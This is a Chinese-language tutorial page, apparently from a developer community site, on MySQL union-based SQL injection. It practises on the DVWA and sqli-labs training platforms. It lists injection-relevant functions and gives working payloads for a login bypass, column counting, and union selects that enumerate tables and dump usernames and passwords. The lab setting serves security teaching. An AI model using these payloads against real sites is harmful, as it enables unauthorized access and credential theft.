mysql 联合查询 注入_SQL注入篇——mysql 联合查询注入-Go语言中文社区
sql注入中的常用函数@@datadir 函数作用:返回数据库的存储目录@@version_compile_os 函数作用:查看服务器的操作系统concat(str1,str2) 函数作用:连接两个字符串并传入数据库concat_ws(separator,str1,str2) 函数作用:用分隔符连接两个字段的字符串group_concat(str1,str2) 函数作用:将多行查询结果以逗号分隔全
sql注入中的常用函数
@@datadir 函数
作用:返回数据库的存储目录
@@version_compile_os 函数
作用:查看服务器的操作系统
concat(str1,str2) 函数
作用:连接两个字符串并传入数据库
concat_ws(separator,str1,str2) 函数
作用:用分隔符连接两个字段的字符串
group_concat(str1,str2) 函数
作用:将多行查询结果以逗号分隔全部输出
group_concat(concat_ws(seperator,str1,str2)) 函数
作用:将多行查询结果以逗号分隔全部输出,每一行的结果可用设置的分隔符作字段的间隔
mid()函数
SELECT MID(ColumnName, Start [, Length])
从指定字段中提取出字段的内容
column_name:字段名
start:开始位置
length:长度
limit()函数
SELECT * FROM TABLE LIMIT M,N
返回结果中的前几条数据或者中间的数据
m是指从m位开始(第一位为0)
n是指取n条
Substr()函数
substr(a,b,c)
截取字符串
a 所要截取字符串
b 截取的位置
c 截取的长度
系统信息函数
database()
返回当前数据库名
connection_id()
返回当前客户的连接id
found_rows()
返回最后一个select查询进行检索的总行数
user()或system_user()
返回当前登陆用户名
version()
返回mysql服务器的版本
使用DVWA-master渗透测试平台进行sql注入
登录界面万能密码注入
1.先将DVWA的安全等级设为low
2.输入万能密码admin' -- - (注意中间的空格)
3.密码随便,点击提交登录成功
注意问题:此处的万能密码需填写用户名
在不知道有哪些用户的情况下可以用' or 1=1 limit 1 -- -
查询界面的sql注入
一.判断是否存在注入
1' and 1=1 -- -
1' and 1=2 -- -
二.判断有多少列
1' order by 2 -- -
2能正常显示,3就会报错,说明只有两个显示位
三.判断数据显示点
1' union select 1,2 -- -
四.查看数据库基本信息
1' union select version(),database() -- -
五.查看数据库有哪些表
1' union select 1,(select group_concat(concat(table_name)) from information_schema.tables where table_schema = 'security' ) -- -
六.查看对应表有哪些列
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ) -- -
七.查看账号密码信息
1' union select 1,(select group_concat(concat_ws(0x7e,user,password))from users) -- -
使用sqli-labs游戏系统进行sql注入
1.首先确定用哪些字符可以进行sql注入
一.选择Less-1进入第一关,在网址中添加标红内容,显示了用户和密码
http://localhost/sqli-labs-master/Less-1/index.php?id=1' and 1=1 -- -
把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ' 字符注入
二.进入第二关,在网址中添加标红内容,显示了用户和密码
http://localhost/sqli-labs-master/Less-2/index.php?id=1 and 1=1 -- -
把1=1改成1=2,不报错也不显示任何信息,说明可以进行整数型注入
三.进入第三关,在网址中添加标红内容,显示了用户和密码
http://localhost/sqli-labs-master/Less-3/index.php?id=1') and 1=2 -- -
把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ') 字符注入
四.进入第四关,在网址中添加标红内容,显示了用户和密码
http://localhost/sqli-labs-master/Less-4/index.php?id=1") and 1=1 -- -
把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ") 字符注入
2.确定注入字符后,判断有多少列,标红部分为判断语句,超出列数会报错
http://localhost/sqli-labs-master/Less-1/index.php?id=1' order by 4 -- -
3.判断数据显示点 (id一定要改为0或负数)
http://localhost/sqli-labs-master/Less-1/index.php?id=0' union select 1,2,3 -- -
4.然后便可在注入字符后加入sql注入语句
union select 1,user(),database()-- -显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3查看账号密码信息
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)